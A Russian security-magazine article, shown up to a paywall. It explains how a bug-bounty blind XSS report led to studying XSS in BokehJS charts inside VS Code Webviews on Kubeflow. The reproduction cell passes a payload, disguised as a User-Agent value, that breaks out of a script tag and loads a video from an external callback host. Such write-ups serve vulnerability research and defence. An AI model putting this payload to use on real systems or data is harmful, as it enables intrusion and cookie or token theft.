Обыч­ная визу­али­зация дан­ных в Jupyter Notebook может обер­нуть­ся ата­кой на всю инфраструк­туру. В этой статье мы вос­про­изве­дем XSS-инъ­екцию в гра­фике BokehJS внут­ри VS Code Webview, прос­ледим, как локаль­ный баг прев­раща­ется в уяз­вимость уров­ня Kubeflow-клас­тера, и пос­мотрим, какие реаль­ные рис­ки несет такая цепоч­ка — от кра­жи cookie до дос­тупа к Kubernetes-токенам.
 

Начало истории

Пред­ставь: обыч­ный буд­ний день ана­лити­ка. Он работа­ет со сво­им инстан­сом VS Code Server, под­нятым в клас­тере Kubeflow, пишет скрип­ты на Python и запус­кает их в Jupyter Notebook с исполь­зовани­ем фай­лов с рас­ширени­ем .ipynb. А для ана­лиза визу­али­зиру­ет резуль­таты с помощью биб­лиоте­ки BokehJS.

Что есть что

  • Jupyter Notebook — это сре­да раз­работ­ки, где сра­зу мож­но видеть резуль­тат выпол­нения кода и его отдель­ных час­тей. Отли­чие от при­выч­ной сре­ды раз­работ­ки сос­тоит в том, что код мож­но раз­бить на кус­ки и выпол­нять их в любом поряд­ке.
  • .ipynb — рас­ширение фай­ла фор­мата Jupyter Notebook, который хра­нит код, текст и резуль­таты выпол­нения в еди­ном инте­рак­тивном докумен­те.
  • Kubeflow — это плат­форма для работы с ML-задача­ми на Kubernetes. Она пре­дос­тавля­ет поль­зовате­лям удоб­ный интерфейс для соз­дания Jupyter-ноут­буков, запус­ка экспе­римен­тов, обу­чения и деп­лоя моделей. Фак­тичес­ки это инфраструк­турный слой для data science, где в одной сре­де объ­еди­нены сер­вер VS Code, Jupyter, пай­плай­ны ML и так далее.
  • BokehJS — фрон­тенд‑биб­лиоте­ка на JavaScript, которая отри­совы­вает инте­рак­тивные гра­фики, зачас­тую незаме­нима в ML-про­ектах: она помога­ет быс­тро визу­али­зиро­вать дан­ные, отла­дить модели пря­мо в Jupyter-ноут­буке.

В тот день в работе у ана­лити­ка был мас­сив с User-Agent’ами поль­зовате­лей, которые заходи­ли на сайт ком­пании. Задача прос­тая — про­ана­лизи­ровать этот мас­сив с заголов­ками и пос­тро­ить гра­фик, на котором будет наг­лядная кар­тина: с каких устрой­ств чаще посеща­ют сайт. Но вмес­то при­выч­ного гра­фика на экра­не появ­ляют­ся стран­ные строч­ки кода. Про­изош­ла вне­зап­ная XSS-инъ­екция там, где ее сов­сем не ждешь. То, что начина­лось как рутин­ный ана­лиз дан­ных, вне­зап­но прев­ратилось в исто­рию об уяз­вимос­ти, где обыч­ная визу­али­зация дан­ных неожи­дан­но помог­ла рас­познать ата­ку на инфраструк­туру.

 

Bug Bounty превращается в исследование

Од­нажды утром, выпив чаш­ку кофе и пос­мотрев котиков в интерне­те, я обна­ружил новый репорт в нашей прог­рамме Bug Bounty: ресер­чер сооб­щил об уяз­вимос­ти blind XSS. А кон­крет­нее на его внеш­ний сер­вер при­шел отстук с нашего под­домена, где рас­положен клас­тер Kubeflow. У меня момен­таль­но воз­никло нес­коль­ко воп­росов: что пос­лужило источни­ком проб­лемы? Как не допус­тить такого в будущем? Но глав­ное — какой мак­сималь­ный ущерб от экс­плу­ата­ции уяз­вимос­ти смог бы нанес­ти зло­умыш­ленник, если бы узнал о ней?

Как выяс­нилось, источник это­го отсту­ка ока­зал­ся сов­сем обыч­ным. Один из ана­лити­ков, выпол­няя скрип­ты в под­нятом VS Code Server в Kubeflow, обра­баты­вал дан­ные — часть которых име­ла поль­зователь­ский ввод. Далее, без руч­ной очис­тки опас­ных сим­волов, дан­ные нап­рямую под­став­лялись в фун­кции для генера­ции гра­фиков. Ник­то не пред­полагал, что в этих дан­ных могут скры­вать­ся опас­ные конс­трук­ции, тем более что мы все при­вык­ли доверять таким надеж­ным инс­тру­мен­там, как Jupyter или VS Code. Работая с ними, мы не ожи­даем угроз безопас­ности, и кажет­ся, что в таких популяр­ных про­дук­тах XSS вооб­ще невоз­можны. Но на прак­тике все ока­залось ина­че...

В этой статье мы не будем рас­смат­ривать тему Bug Bounty и все, что было свя­зано с репор­том. Вмес­то это­го давай сос­редото­чим­ся на общей кар­тине необыч­ного век­тора ата­ки и иссле­дуем ее воз­можнос­ти в кон­тек­сте клас­тера Kubeflow.

 

Проблемная ячейка

Да­вай вос­про­изве­дем пол­ную цепоч­ку ата­ки в тес­товой сре­де, а нач­нем мы с прос­той ячей­ки в фай­ле Jupyter Notebook.

info

Code cell — ячей­ка с кодом (нап­ример, Python), которую мож­но запус­тить отдель­но в Jupyter Notebook, резуль­тат выпол­нения отоб­ража­ется пря­мо под ней.

Вмес­то обыч­ных чисел в гра­фик Bokeh мы переда­дим XSS-наг­рузку (будем учи­тывать, что мы ана­лизи­руем заголо­вок User-Agent, который поль­зователь может кон­тро­лиро­вать). Наша XSS-наг­рузка будет выг­лядеть так:

cell.ipynb
# Импортируем модули библиотеки
from bokeh.io import show, output_notebook
from bokeh.layouts import row
from bokeh.plotting import figure
opts = dict(width=250, height=250, min_border=0) # Задаем параметры для графика
payload = "</script>'">%0a"><video src=//ojb4h3tlwo1mc2pvslxp81broiu9i06p.oastify.com controls='true'> '">%0a%0a">" # Наш User-Agent, который заменили полезной нагрузкой
p1 = figure(**opts) # Создаем объект фигуры
r1 = p1.circle([1,2,3], [payload], size=20) # Рисуем точки, по оси Y вставляем нагрузку
t = show(row(p1)) # Отображаем график p1, обернув его в строку для рендеринга в ячейке

За­пус­тив ячей­ку в VS Code с рас­ширени­ем для работы с фай­лами Jupyter Notebook, замеча­ем, что вмес­то отоб­ражения гра­фика отра­ботал наш пей­лоад.

example.ipynb
example.ipynb

Мы можем сох­ранить файл и тем самым уви­деть, что хра­нит­ся в выход­ной ячей­ке.

Продолжение доступно только участникам

Вариант 1. Присоединись к сообществу «Xakep.ru», чтобы читать все материалы на сайте

Членство в сообществе в течение указанного срока откроет тебе доступ ко ВСЕМ материалам «Хакера», позволит скачивать выпуски в PDF, отключит рекламу на сайте и увеличит личную накопительную скидку! Подробнее

Вариант 2. Открой один материал

Заинтересовала статья, но нет возможности стать членом клуба «Xakep.ru»? Тогда этот вариант для тебя! Обрати внимание: этот способ подходит только для статей, опубликованных более двух месяцев назад.


  • Подпишись на наc в Telegram!

    Только важные новости и лучшие статьи

    Подписаться

  • Подписаться
    Уведомить о
    0 комментариев
    Старые
    Новые Популярные
    Межтекстовые Отзывы
    Посмотреть все комментарии